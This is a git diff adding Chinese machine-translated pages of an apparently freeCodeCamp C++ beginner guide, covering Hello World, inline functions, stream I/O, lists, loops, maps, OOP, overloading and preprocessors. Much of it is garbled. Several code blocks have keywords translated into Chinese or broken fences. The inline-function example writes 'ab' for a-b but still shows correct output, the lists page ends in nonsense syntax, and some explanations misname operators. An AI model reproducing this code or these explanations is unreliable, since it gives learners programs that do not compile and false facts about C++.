+```cpp
+#include <iostream> 
+ using namespace std; 
+```
+
+*   第一行告诉计算机为此特定程序使用“iostream”头文件。头文件是带有预先编写的C ++代码的单独文件。还有许多其他头文件需要特定程序才能正常运行。其中一些是：数学，矢量和字符串。头文件通常用“.h”扩展名表示（包含C ++标准库文件时不需要添加.h）
+*   `iostream`代表输入输出流。 “iostream”文件包含允许计算机使用C ++语言获取输入并生成输出的代码。
+*   第二行告诉计算机使用包含标准C ++功能的标准命名空间。你可以在没有这一行的情况下编写这个程序，但是你必须在第4行使用`std::cout`而不是`cout`和`std::endl`而不是`endl` 。它使代码更具可读性，并且我们作为程序员的生活更容易。
+
+#### 3号线和4号线
+
+```cpp
+int main() 
+ { 
+```
+
+*   C ++从-main function- `int main()`开始执行程序。在执行期间，计算机开始从`{` （开始括号）到`}`每一行运行代码（结束括号） **注意：每个函数都以一个左大括号“{”开头，以一个右大括号“}”结束。**
+*   第4行表示main（）函数的开始。
+
+#### 第5,6和7行
+
+```cpp
+    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+```
+
+*   C ++中的单词`cout`用于输出。
+*   接下来是`<<` ， _插入运算符_ 。
+*   无论是在双引号`""`被打印出来。某些特殊字符对于print语句具有不同的语法
+*   现在要打印任何其他类型的数据，你必须添加`<<` 。
+
+**_挑战：尝试将Hello World更改为任何其他句子或单词。什么是输出？_**
+
+*   当使用C ++语言**结束此行并在输出期间转到下一行时，** `endl`是保留字。 - _cout代表“控制台输出”_
+*   最后，用分号完成命令`;` 。
+
+**注意：除主函数定义和#include指令之外的每个命令都需要以分号结束。没有 ”;” ，您可能会遇到错误。**
+
+*   `return 0;`在这种情况下安全地终止当前函数，即'main（）'，因为在'main（）'之后没有函数跟随程序终止。
+*   不要忘记告诉计算机这是main（）函数的结束。要执行此操作，请添加结束大括号“}”。如果不包含**}，**则在程序执行前会遇到错误。
+
+### 代码看起来应该是这样的：
+
+![图](https://i.imgur.com/d1liGwI.png)
+
+程序员使用Hello World程序（就像这个程序）作为使用新编程语言的仪式。这是好运的象征。  
+_您已经完成了第一个C ++程序的编码，并且已经理解了您编写/键入的大部分代码。恭喜！_
+
+**祝大家好运，编码愉快！ :)**
+
+**快乐的编码！ :)**
+
+**欢迎在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上提出任何问题[。](https://forum.freecodecamp.org/)**
+
+[亲自尝试一下！ :)](https://repl.it/L4k3)
+
+**您可能需要一些软件来编写和执行C ++代码。我建议使用CodeBlocks。下面有一个下载链接：**
+
+下载链接： [在此下载](http://www.codeblocks.org/downloads/26)
+
+*   单击用于Windows的GNU / GCC编译器的链接。这不需要额外安装
+
+其他替代方案可以是visual studio，使用编译器或在线IDE，例如Cloud9或repl.it
+
+Mac [版](https://developer.apple.com/xcode/)链接＃2： [在这里下载Mac＃2](https://developer.apple.com/xcode/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/inline-function/index.md b/client/src/guide/chinese/cplusplus/inline-function/index.md
new file mode 100644
index 0000000000..e1c5098219
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/inline-function/index.md
@@ -0,0 +1,80 @@
+---
+title: Inline Function
+localeTitle: 内联函数
+---
+# 内联函数
+
+## 介绍
+
+内联函数是一个在C ++中定义的特殊函数，在调用时会内联扩展。
+
+现在，这究竟意味着什么？
+
+每当调用一个函数时，它需要花费很多额外的时间来执行一系列活动，例如跳转到函数，保存寄存器，将参数推入堆栈并返回到调用函数。所以需要很多时间。但内联函数是一种函数，其中已请求编译器执行内联扩展。函数请求编译器在调用函数的每个位置插入函数的完整主体，而不是生成代码以在定义它的一个位置调用函数。
+
+但是，我们无法保证内联声明的每个函数都是内联的。因为当我们将函数声明为`inline` ，它是一个请求，而不是一个命令。在以下情况下，编译器可能会忽略内联请求： - 1）如果函数包含循环，例如`for`循环， `while`循环， `do-while`循环等。 2）如果函数包含`switch`或`goto`语句。 3）如果提到返回类型（当然不是`void`的话），该功能不返回任何内容。 4）如果函数包含静态变量。 5）如果函数包含递归调用。
+
+\`\`\`c ++
+
+## 句法 ：-
+
+内联返回_类型函数_名称（argument\_list）{
+
+//函数体
+
+}
+```
+## When to use Inline function 
+ 
+ * When the function performs small tasks and is called very often. 
+ * When performance is important. 
+ * Instead of a macro. 
+```
+
+C ++
+
+# 包括
+
+使用命名空间std;
+
+class MathOperation {
+
+上市：
+```
+inline int add(int x, int y){ 
+ 
+  return(x+y); 
+ } 
+ 
+ inline float div(int n1, float n2){ 
+ 
+  return(n1/n2); 
+ } 
+```
+
+};
+
+int main（）{
+
+MathOperation obj;
+
+cout <<“Addition is：”<< obj.add（34,12）<< <\\ n \\ n“; cout <<“分区是：”<< obj.div（12,3.4）<<“\\ n”;
+
+返回0;
+
+} \`\`\`
+
+## 内联功能的优点
+
+*   它节省了函数返回调用的开销。
+*   它通过利用指令缓存增加了引用的局部性。
+*   它通过避免函数调用开销来加速您的程序。
+*   当函数调用发生时，它可以节省堆栈上变量推/弹操作的开销。
+*   可以将函数定义放在头文件中，即它可以包含在多个编译单元中，而不会让链接器抱怨。
+
+## 内联函数的缺点
+
+*   在标题中使用时，它会使您的头文件更大，其中包含用户不关心的信息。
+*   由于代码扩展，它增加了可执行文件的大小。
+*   C ++内联在编译时解析。这意味着如果更改内联函数的代码， 您需要使用它重新编译所有代码以确保它将被更新。
+*   如上所述，它增加了可执行文件的大小，这可能会导致内存中的颠簸。 更多页面错误，降低程序性能。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/inline-functions/index.md b/client/src/guide/chinese/cplusplus/inline-functions/index.md
new file mode 100644
index 0000000000..d82183624b
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/inline-functions/index.md
@@ -0,0 +1,119 @@
+---
+title: Inline Functions in C++
+localeTitle: C ++中的内联函数
+---
+## C ++中的内联函数
+
+当程序执行函数调用指令时，CPU存储函数调用之后的指令的存储器地址，复制函数的参数在堆栈上，最后将控制转移到指定的函数。然后，CPU执行功能代码，将功能返回值存储在预定义的存储器位置/寄存器中，并将控制返回给调用功能。如果函数的执行时间小于从调用函数到被调用函数（被调用者）的切换时间，则这可能成为开销。对于大型和/或执行复杂任务的函数，与函数运行所花费的时间相比，函数调用的开销通常是微不足道的。但是，对于常用的小函数，进行函数调用所需的时间通常比实际执行函数代码所需的时间多得多。小功能的开销是因为小功能的执行时间小于切换时间。
+
+C ++提供了一个内联函数来减少函数调用开销。内联函数是一个在调用时按行扩展的函数。当调用内联函数时，内联函数的整个代码在内联函数调用点插入或替换。此替换由C ++编译器在编译时执行。内联函数如果很小则可以提高效率。 定义函数内联的语法是：
+
+```cpp
+inline return-type function-name(parameters) 
+ { 
+    // function code 
+ } 
+```
+
+请记住，内联只是对编译器的请求，而不是命令。编译器可以忽略内联请求。编译器可能不会在以下情况下执行内联：
+
+*   如果函数包含循环。 （for，while，do-while）
+*   如果函数包含静态变量。
+*   如果函数是递归的。
+*   如果函数返回类型不是void，则函数体中不存在return语句。
+*   如果函数包含switch或goto语句。
+
+### 内联函数具有以下优点：
+
+*   不会发生函数调用开销。
+*   调用函数时，它还可以节省堆栈上push / pop变量的开销。
+*   它还节省了函数返回调用的开销。
+*   内联函数时，可以使编译器在函数体上执行特定于上下文的优化。对于正常的函数调用，这种优化是不可能的。通过考虑调用上下文和被调用上下文的流程，可以获得其他优化。
+*   对于嵌入式系统，内联函数可能很有用（如果它很小），因为内联可以产生比函数调用前导码和返回更少的代码。
+
+### 内联功能缺点：
+
+*   内联函数中添加的变量会消耗额外的寄存器，如果要使用寄存器的变量数增加，则可能会在寄存器变量资源利用率上产生开销。这意味着当在函数调用点替换内联函数体时，函数使用的变量总数也会被插入。因此，用于变量的寄存器数量也将增加。因此，如果在函数内联变量数量大幅增加之后，它肯定会导致寄存器利用率的开销。
+    
+*   如果使用太多内联函数，则二进制可执行文件的大小将很大，因为相同代码的重复。
+    
+*   过多的内联也会降低指令缓存命中率，从而降低从缓存内存到主内存的指令获取速度。
+    
+*   如果有人更改了内联函数中的代码，则内联函数可能会增加编译时间开销，因此必须重新编译所有调用位置，因为编译器需要再次替换所有代码以反映更改，否则它将继续使用旧功能。
+    
+*   内联函数可能对许多嵌入式系统无用。因为在嵌入式系统中，代码大小比速度更重要。
+    
+*   内联函数可能会导致颠簸，因为内联可能会增加二进制可执行文件的大小。内存中的颠簸会导致计算机性能下降。
+    
+
+以下程序演示了这个概念：
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ class operation 
+ { 
+    int a,b,add,sub,mul; 
+    float div; 
+ public: 
+    void get(); 
+    void sum(); 
+    void difference(); 
+    void product(); 
+    void division(); 
+ }; 
+ inline void operation :: get() 
+ { 
+    cout << "Enter first value:"; 
+    cin >> a; 
+    cout << "Enter second value:"; 
+    cin >> b; 
+ } 
+ 
+ inline void operation :: sum() 
+ { 
+    add = a+b; 
+    cout << "Addition of two numbers: " << a+b << "\n"; 
+ } 
+ 
+ inline void operation :: difference() 
+ { 
+    sub = ab; 
+    cout << "Difference of two numbers: " << ab << "\n"; 
+ } 
+ 
+ inline void operation :: product() 
+ { 
+    mul = a*b; 
+    cout << "Product of two numbers: " << a*b << "\n"; 
+ } 
+ 
+ inline void operation ::division() 
+ { 
+    div=a/b; 
+    cout<<"Division of two numbers: "<<a/b<<"\n" ; 
+ } 
+ 
+ int main() 
+ { 
+    cout << "Program using inline function\n"; 
+    operation s; 
+    s.get(); 
+    s.sum(); 
+    s.difference(); 
+    s.product(); 
+    s.division(); 
+    return 0; 
+ } 
+```
+
+输出：
+```
+Enter first value: 45 
+ Enter second value: 15 
+ Addition of two numbers: 60 
+ Difference of two numbers: 30 
+ Product of two numbers: 675 
+ Division of two numbers: 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/input-and-output/index.md b/client/src/guide/chinese/cplusplus/input-and-output/index.md
new file mode 100644
index 0000000000..12b0a04b86
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/input-and-output/index.md
@@ -0,0 +1,136 @@
+---
+title: Input and Output
+localeTitle: 输入和输出
+---
+## 使用Streams输入和输出
+
+要将内容打印到控制台或从中读取内容，请使用`cout`和`cin` ，即所谓的`streams` 。使用这个比喻是因为你使用的流就像使用接收器或水龙头一样：你要么将数据刷新到接收器（ `cout` ），要么从tap（ `cin` ）中获取数据。
+
+### 用cout输出
+
+“Hello World”程序使用`cout`打印“Hello World！”到控制台：
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  cout << "Hello world!" << endl; 
+ } 
+```
+
+顶部的前两行是您使用`cout`和其他流所必需的。 `#include<iostream>`使流对象可以`using namespace std;` ，并`using namespace std;`让你直接输入`cout`而不必输入`std::cout` ，也就是说，必须指定我们要从`std`命名空间使用`cout` 。
+
+`cout`代表“控制台输出”，是代表控制台的所谓_输出流_ 。当你想在控制台上打印东西时，你可以将它放入`cout` ;想象它是一个通往终端的洞。要把东西放进这个洞，一次一个，你使用`<<`运算符，也就是_插入运算符_ 1 。操作员可以被链接，也就是说，您可以将多个东西一个接一个地放在一起。以下将打印“蛋糕是谎言。”：
+
+`cout << "The cake " << "is " << "a " << "lie." << endl;`
+
+`endl`代表“End Line”，是另一个来自`<iostream>` 。当你把`endl`到`cout` ，它会打印一个换行符（“\\ n”）到控制台，并_刷新_ `cout` ，这意味着它会迫使`cout`打印你_现在_已经投入它的一切。如果您没有将`endl`放入`cout` ， `cout`可能会保留您放入其中的数据，但在实际打印之前需要等待更多数据。这称为_缓冲_ ，非常适合性能，但如果您已经将它应该打印的所有内容都给了它，那么您希望`cout`立即打印它。因此，在有意义的地方结束使用`endl`是一种非常好的做法。
+
+几乎所有东西都可以放入一个流：字符串，数字，变量，表达式等。这里有一些有效的流插入示例：
+
+```C++
+// Notice we can use the number 42 and not the string "42". 
+ cout << "The meaning of life is " << 42 << endl;` // Output: The meaning of life is 42 
+```
+
+```C++
+string name = "Tim"; 
+ cout << "Except for you, " << name << endl;`// Output: Except for you, Tim 
+```
+
+```C++
+string name = "Tim"; 
+ cout << name; 
+ cout << " is a great guy!" << endl;` 
+ // Output: Tim is a great guy! 
+```
+
+```C++
+int a = 3; 
+ cout << a*2 + 18/a << endl;`// Output: 12 
+```
+
+### 关于空白的说明
+
+C ++总是让_你_掌控，并且只完成你告诉它要做的事情。这有时会令人惊讶，如下例所示：
+
+```C++
+string name = "Sarah"; 
+ cout << "Good morning" << name << "how are you today? << endl; 
+```
+
+你可能期望它打印出来“早上好莎拉你今天过得怎么样？”，但实际上，输出将是“早上好，你今天好吗？”。出现此错误的原因是您没有在`name`周围的字符串中写入空格，因此，由于您没有指定任何空格，因此`cout`不会打印任何空格。正确的版本将是： `cout << "Good morning " << name << " how are you today? << endl;`
+
+换行也不会自己发生。你可能会认为这会在四行打印一个食谱：
+
+```C++
+cout << "To make bread, you need:"; 
+ cout << "* One egg"; 
+ cout << "* One water"; 
+ cout << "* Two wheat"; 
+```
+
+但实际上产量都在一条线上：“要做面包，你需要：\*一个鸡蛋\*一个水\*两个小麦”。这是因为行的末尾没有换行符，所以很自然地，C ++假设我们不希望它打印换行符。
+
+您可以通过在每行之后添加`endl`来解决此问题，因为如前所述， `endl`在换行流中插入换行符。但是，它也会强制冲洗缓冲区，这会让我们失去一点性能，因为我们可以一次打印所有的线条。因此，最好的方法是在行尾添加实际的换行符，并且最后只使用`endl` ：
+
+```C++
+cout << "To make bread, you need:\n"; 
+ cout << "* One egg\n"; 
+ cout << "* One water\n"; 
+ cout << "* Two wheat" << endl; 
+```
+
+如果你只是打印一个小食谱，你节省的时间是微不足道的，不值得麻烦，但如果你打印数百万的项目，差异可能是非常明显的。
+
+### 用cin输入
+
+要从控制台中读取，您可以像使用`cout`一样使用_输入流_ `cin` ，但不要将内容放入`cin` ，而是“将它们取出”。以下程序从用户读取两个数字并将它们加在一起：
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter the first number:" << endl; 
+  cin >> a; 
+  cout << "Please enter the second number:" << endl; 
+  cin >> b; 
+ 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+```
+
+`cin`代表“控制台输入”，是表示来自控制台的_输入的输入流_ 。在表达`cin >> a;` ，使用运算符`>>` ， _提取运算符_ 2 ，从`cin`读取数据并保存到变量`a` 。提取操作符读取写入我们指定的变量所需的数据，并跳过任何空格，因此如果用户键入“6”，将只读取值`6` 。
+
+值得注意的是， `cin`将停止整个程序等待用户输入其值。在用户按下回车之前程序将不会继续，并且有一些数据要写入变量。如果用户只是在不输入任何内容的情况下按Enter键，则`cin`将继续等待值。
+
+提取运算符`<<`也可以链接。这是与上次相同的程序，但是以更简洁的方式编写：
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter two numbers:" << endl; 
+  cin >> a >> b; 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+```
+
+链接时，提取操作符将首先从`cin`读取数据以填充`a` ，然后读取数据以填充`b` 。
+
+C的标准printf和scanf语句也可以通过导入'与c ++一起使用' '头文件。
+
+## 来源
+
+1.  http://www.cplusplus.com/reference/ostream/ostream/operator%3C%3C/
+2.  http://www.cplusplus.com/reference/istream/istream/operator%3E%3E/
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/lists/index.md b/client/src/guide/chinese/cplusplus/lists/index.md
new file mode 100644
index 0000000000..c72cb737b9
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/lists/index.md
@@ -0,0 +1,13 @@
+---
+title: C++ Lists
+localeTitle: C ++列表
+---
+# 什么是STL清单？
+
+C ++中的列表是一个功能强大的工具，类似于其众所周知的堂兄C ++ Vectors。而Vectors是一个顺序容器 如果元素在连续链中被索引，则列表也是一个顺序容器，但它们的组织方式不同。 List元素指向其下一个元素，因此所有元素按顺序排序，但它们不使用索引。 怎么样？你可能会问。他们这样做不是通过索引，而是使用一个称为迭代器的特殊工具。迭代器就像特殊指针一样 他的工作是保持列表元素的顺序，就像两辆火车车厢之间的联系。这是一个很好的视觉效果 与矢量和数组相比如何组织列表。 ![IMG](https://imgur.com/SiU8uTe.png)
+
+## 如何声明一个List
+
+如果要声明您编写的数字列表：
+
+'''的std ::名单数;“””
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/loops/index.md b/client/src/guide/chinese/cplusplus/loops/index.md
new file mode 100644
index 0000000000..b9ee16c089
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/loops/index.md
@@ -0,0 +1,84 @@
+---
+title: Loops
+localeTitle: 循环
+---
+# 循环
+
+## 介绍
+
+现在让我们讨论称为循环的东西。假设您要在屏幕上打印1到1000的偶数。单程 这样做是为了写下面这几行
+
+\`\`\`c ++ cout << 0 << endl; cout << 2 << endl; cout << 4 << endl; ...。 ...。 ...。 cout << 1000 << endl;
+```
+But the problem with this approach is that you have to write the same line again and again. And if suppose you have to print 
+ prime numbers from 1 to 1000 then this will be more hectic. 
+ Therefore, in order to solve such problems loops are introduced. 
+ 
+ There are different types of loop functions: 
+ ### While and do while loops 
+ 
+ While and do while loops allow you to make the loop until a condition finishes. 
+ The difference between While and Do while is that Do while always executes once. 
+ Here you can see an example: 
+```
+
+C ++ while（condition）{ //条件为true时执行的代码 } 做{ //将执行一次，直到条件为假 } while（condition）;
+```
+### For loops 
+ 
+ For loops are usually used when you know how many times the code will execute. 
+ The flow can be seen in this [graph](https://www.tutorialspoint.com/cplusplus/images/cpp_for_loop.jpg). 
+ 
+ They are declared this way: 
+```
+
+C ++ for（初始化变量;检查条件;增加初始化变量）{ //要执行的代码 }
+```
+Lets write a program which will print numbers from 0 to 1000 including 1000 on the screen using a for loop. 
+```
+
+C ++ for（int i = 0; i <= 1000; i ++） { cout << i << endl; }
+```
+When you execute this code in a c++ program numbers from 1 to 1000 will be printed. 
+ Now lets discuss how the for loop works. 
+ 
+ * You start a for loop by typing the keyword 'for'. It means you are starting a for loop 
+ ` for ` 
+ * Next you open and close a round bracket. In this brackets you write some conditions which will be discussed later 
+ ` for()` 
+ * Inside the brackets first you write the initial condition ie the value from where the loop will start. Like in the 
+  above program we write int i = 0 
+ ` for(int i = 0)` 
+ * Then you write the semicolon and then condition until when the loop will be executed. In the above code you define 
+   i < 1000. It means until value of i is less then 1000 execuete the loop. 
+   ` for(int i=0;i<=1000) ` 
+ * Then you define the incremented value that is how much i has to be incremented in each iteration. In the above code 
+   we write i++. It means value of i will be incremented by 1 every time. 
+    ` for(int i=0;i<=1000;i++) ` 
+ * If there is only one statement inside the loop then the curly bracket is optional but its better to write loop code 
+   within brackets so that you don't get confused. 
+    ``` c++ 
+    for(int i=0;i<=1000;i++) 
+        { 
+        } 
+     ``` 
+ * Then inside the loop you write what do you want to do. In the above program we output the value of i. 
+ 
+ So, in this way the for loop works 
+ 
+ If you want to print even numbers from 1 to 1000 then your program will look like this 
+```
+
+C ++ for（int i = 0; i <= 1000; i = i + 2） { cout << i << endl; }
+
+\`\`\`
+
+*   第一个程序和第二个程序的区别是增量部分。其余代码是一样的。该程序将打印0和 然后添加2并在控制台上打印2，依此类推，i的值等于1000。
+    
+    我们打印偶数0到1000的最终程序将如下所示。
+    
+    \`\`\`c ++
+    
+    # 包括
+    
+    使用命名空间std; int main（） { for（int i = 0; i <= 1000; i = i + 2） { cout << i << endl; } 返回0; } \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/map/index.md b/client/src/guide/chinese/cplusplus/map/index.md
new file mode 100644
index 0000000000..3c9564d3d9
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/map/index.md
@@ -0,0 +1,81 @@
+---
+title: Map
+localeTitle: 地图
+---
+## 地图介绍
+
+`map`是一个关联容器，用于存储键值对中的元素。就像在`Java`有集合，PHP中的关联数组等。
+
+## 使用地图的好处
+
+*   它仅存储唯一键，并且也基于其指定的排序标准按排序顺序存储。
+*   由于键是按排序顺序的，因此通过键在地图中搜索元素非常快，即它需要对数时间。
+*   在`map` ，每个键只附加一个值。
+*   `map`可以用作关联数组。
+*   它可以使用平衡二叉树实现。
+
+这是一个例子：
+
+```c++
+#include <iostream> 
+ #include <map> 
+ 
+ using namespace std; 
+ 
+ int main (){ 
+  map<char,int> first; 
+ 
+  //initializing 
+  first['a']=10; 
+  first['b']=20; 
+  first['c']=30; 
+  first['d']=40; 
+ 
+   map<char, int>::iterator it; 
+   for(it=first.begin(); it!=first.end(); ++it){ 
+      cout << it->first << " => " << it->second << '\n'; 
+   } 
+ 
+  return 0; 
+ } 
+```
+
+输出：
+```
+a => 10 
+ b => 20 
+ c => 30 
+ d => 40 
+```
+
+## 创建地图对象
+
+`map<string, int> myMap;`
+
+## 插入
+
+使用插入成员函数插入数据。
+
+```c++
+myMap.insert(make_pair("earth", 1)); 
+ myMap.insert(make_pair("moon", 2)); 
+```
+
+我们还可以使用operator \[\] ie在std :: map中插入数据
+
+`myMap["sun"] = 3;`
+
+## 访问地图元素
+
+要访问地图元素，您必须为它创建迭代器。这是前面提到的一个例子。
+
+```c++
+map<char, int>::iterator it; 
+ for(it=first.begin(); it!=first.end(); ++it){ 
+  cout << it->first << " => " << it->second << '\n'; 
+ } 
+```
+
+在这里，您可以了解有关地图的更多信息： [cpluspluc\_map](http://www.cplusplus.com/reference/map/map/map/)
+
+注意：示例中的所有代码都是C ++ 11版本。您可以[在此处](http://en.cppreference.com/w/cpp/compiler_support)了解有关C ++版本的更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/object-oriented-programming/index.md b/client/src/guide/chinese/cplusplus/object-oriented-programming/index.md
new file mode 100644
index 0000000000..de9c3c72fb
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/object-oriented-programming/index.md
@@ -0,0 +1,78 @@
+---
+title: Object Oriented Programming using C++
+localeTitle: 面向对象的C ++编程
+---
+## 面向对象的C ++编程
+
+面向对象编程，简称OOP，旨在实现编程中的继承，隐藏和多态等真实世界实体。 OOP的主要目的是将数据和对其进行操作的函数绑定在一起，这样除了该函数之外，其他任何代码都不能访问这些数据。
+
+让我们了解面向对象编程语言的不同特征：
+
+### 宾语：
+
+对象是面向对象系统中的基本运行时实体，对象是类的实例，这些是定义的用户定义数据类型。
+
+```cpp
+class person 
+ { 
+    char name[20]; 
+    int id; 
+ public: 
+    void getdetails(){} 
+ }; 
+ 
+ int main() 
+ { 
+   person p1; //p1 is an object 
+ } 
+```
+
+对象占用内存中的空间，并具有相关的地址，如pascal或结构中的记录或C中的并集。
+
+执行程序时，对象通过相互发送消息进行交互。
+
+每个对象都包含操作数据的数据和代码。对象可以在不必了解彼此数据或代码的详细信息的情况下进行交互。知道接受的消息类型和对象返回的响应类型就足够了。
+
+### 类：
+
+类是数据和函数或方法的蓝图。班级不占用任何空间。
+
+```cpp
+class class_name 
+ { 
+  private: 
+     //data members and member functions declarations 
+  public: 
+     //data members and member functions declarations 
+  protected: 
+     //data members and member functions declarations 
+ }; 
+```
+
+类是用户定义的数据类型，如C中的结构和联合。
+
+默认情况下，类变量是私有的，但在结构的情况下它是公共的。在上面的例子中，人是一个类。
+
+### 封装和数据抽象：
+
+将数据和函数包装（组合）到单个单元中称为封装。外部世界无法访问这些数据，只有那些包含在类中的函数才能访问它。这种数据与程序直接访问的隔离称为数据隐藏或信息隐藏。
+
+数据抽象是指仅向外界提供所需信息并隐藏实现细节。例如，将具有公共函数的类Complex视为getReal（）和getImag（）。我们可以将类实现为大小为2的数组或两个变量。抽象的优点是，我们可以在任何时候改变实现，Complex类的用户不会受到影响，因为我们的方法接口保持不变。如果我们的实施是公开的，我们就无法改变它。
+
+### 遗产：
+
+继承是一个类的对象获取另一个类的对象属性的过程。它支持层次分类的概念。继承提供可重用性。这意味着我们可以在不修改现有类的情况下向其添加其他功能。
+
+### 多态性：
+
+多态性意味着能够采用多种形式。操作可能在不同情况下表现出不同的行为。行为取决于操作中使用的数据类型。
+
+C ++支持运算符重载和函数重载。运算符重载是使运算符在不同实例中展示不同行为的过程。函数重载使用单个函数名来执行不同类型的任务。多态性广泛用于实现继承。
+
+### 动态绑定：
+
+在动态绑定中，响应函数调用而执行的代码在运行时决定。 C ++具有支持此功能的虚拟功能。
+
+### 消息传递：
+
+对象通过彼此发送和接收信息来彼此通信。对象的消息是执行过程的请求，因此将调用接收对象中生成所需结果的函数。消息传递涉及指定对象的名称，函数的名称和要发送的信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/overloading/index.md b/client/src/guide/chinese/cplusplus/overloading/index.md
new file mode 100644
index 0000000000..0d4b8178e6
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/overloading/index.md
@@ -0,0 +1,102 @@
+---
+title: C++ Overloading
+localeTitle: C ++重载
+---
+C ++允许您为同一范围内的函数名称或运算符指定多个定义，分别称为函数重载和运算符重载。
+
+重载声明是声明，声明与同一作用域中先前声明的声明具有相同的名称，除了两个声明具有不同的参数和明显不同的定义（实现）。
+
+当您调用重载函数或运算符时，编译器通过将用于调用函数或运算符的参数类型与定义中指定的参数类型进行比较，确定要使用的最合适的定义。选择最合适的重载函数或运算符的过程称为重载决策。
+
+### C ++中的函数重载
+
+您可以在同一范围内对同一函数名称具有多个定义。函数的定义必须通过参数列表中的参数的类型和/或数量彼此不同。您不能重载仅由返回类型不同的函数声明。
+
+以下是使用相同函数print（）打印不同数据类型的示例 -
+
+```cpp
+#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ class printData { 
+   public: 
+      void print(int i) { 
+        cout << "Printing int: " << i << endl; 
+      } 
+      void print(double  f) { 
+        cout << "Printing float: " << f << endl; 
+      } 
+      void print(const string& s) { 
+        cout << "Printing string: " << s << endl; 
+      } 
+ }; 
+ 
+ int main() { 
+   printData pd; 
+ 
+   // Call print to print integer 
+   pd.print(5); 
+ 
+   // Call print to print float 
+   pd.print(500.263); 
+ 
+   // Call print to print string 
+   pd.print("Hello C++"); 
+ 
+   return 0; 
+ } 
+```
+
+编译并执行上述代码时，会产生以下结果 -
+```
+Printing int: 5 
+ Printing float: 500.263 
+ Printing string: Hello C++ 
+```
+
+### C ++中的运算符重载
+
+大多数内置运算符也可以在C ++中重载。这允许程序员根据参数为操作符分配不同的实现。这些重载的运算符可以用于用户定义的类。
+```
+#include<iostream> 
+ using namespace std; 
+ 
+ class Complex_Number{ 
+ private: 
+    int real; 
+    int imag; 
+ public: 
+    Complex_Number(int i = 0, int j =0) 
+    { 
+        real = i; 
+        imag = j; 
+    } 
+    //Here the operator '+' is being overloaded 
+    Complex_Number operator + (Complex_Number const &a) 
+    { 
+         Complex_Number x; 
+         x.real = real + a.real; 
+         x.imag = imag + a.imag; 
+         return x; 
+    } 
+    void print() 
+    { 
+         cout<<real<<" + i"<<imag<<endl; 
+    } 
+ }; 
+ 
+ int main() 
+ { 
+    Complex_Number c1(3, 2), c2(1, 1); 
+    //Here, the overloaded operator is called. The numbers get added according to the function defined 
+    Complex_Number c3 = c1 + c2; 
+    c3.print(); 
+ } 
+```
+
+上述计划的输出
+```
+4 + i3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/preprocessors/index.md b/client/src/guide/chinese/cplusplus/preprocessors/index.md
new file mode 100644
index 0000000000..65d5c92fe3
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/preprocessors/index.md
@@ -0,0 +1,160 @@
+---
+title: Preprocessors
+localeTitle: 预处理器
+---
+## C / CPP中的预处理器
+
+顾名思义，预处理器是在编译之前处理源代码的程序。在C / C ++中编写程序和执行程序之间涉及许多步骤。在我们真正开始学习预处理器之前，让我们先看看这些步骤。
+
+![图](https://i.imgur.com/Pb0aTkV.png)
+
+您可以在上图中看到中间步骤。程序员编写的源代码存储在文件program.c中。然后由预处理器处理该文件，并生成名为program的扩展源代码文件。此扩展文件由编译器编译，生成名为program.obj的目标代码文件。最后，链接器将此目标代码文件链接到库函数的目标代码，以生成可执行文件program.exe。
+
+预处理程序提供预处理程序指令，告诉编译器在编译之前预处理源代码。所有这些预处理程序指令都以`#` （哈希）符号开头。 C / C ++程序中语句开头的这个（'＃'）符号表示它是一个预处理器指令。我们可以将这些预处理器指令放在程序的任何位置。一些预处理程序指令的示例是： `#include` ， `#include` `#define` ， `#ifndef`等。
+
+### 预处理程序指令的类型：
+
+1.  宏
+2.  文件包含
+3.  条件编译
+4.  其他指令
+
+### 宏：
+
+宏是程序中的一段代码，它有一些名称。只要编译器遇到此名称，编译器就会将该名称替换为实际的代码段。 `#define`指令用于定义宏。
+
+```cpp
+  #include<iostream> 
+  #define LIMIT 3 
+  int main() 
+  { 
+    for(int i=0; i < LIMIT; i++) 
+    { 
+      std::cout<<i<<" " ; 
+    } 
+      return 0; 
+  } 
+```
+
+输出：
+
+`0 1 2`
+
+在上面的程序中，当编译器执行单词`LIMIT`它将其替换为3.宏定义中的`LIMIT`字称为宏模板，'3'表示宏扩展。
+
+在宏定义的末尾不应该有分号（';'）。宏定义不需要使用分号结束。
+
+### 文件包含：
+
+这种类型的预处理程序指令告诉编译器在源代码程序中包含一个文件。用户可以在程序中包含两种类型的文件：
+
+*   ####头文件或标准文件： 这些文件包含预定义函数的定义，如printf（），... scanf（）等。必须包含这些文件才能使用这些函数。 ...在不同的头文件中声明了不同的功能。例如......标准I / O功能在'iostream'文件中，而执行字符串操作的功能在'string'文件中。
+
+#### 句法：
+
+`#include< file_name >` 其中file\_name是要包含的文件的名称。 `<`和`>`括号告诉编译器在标准目录中查找文件。
+
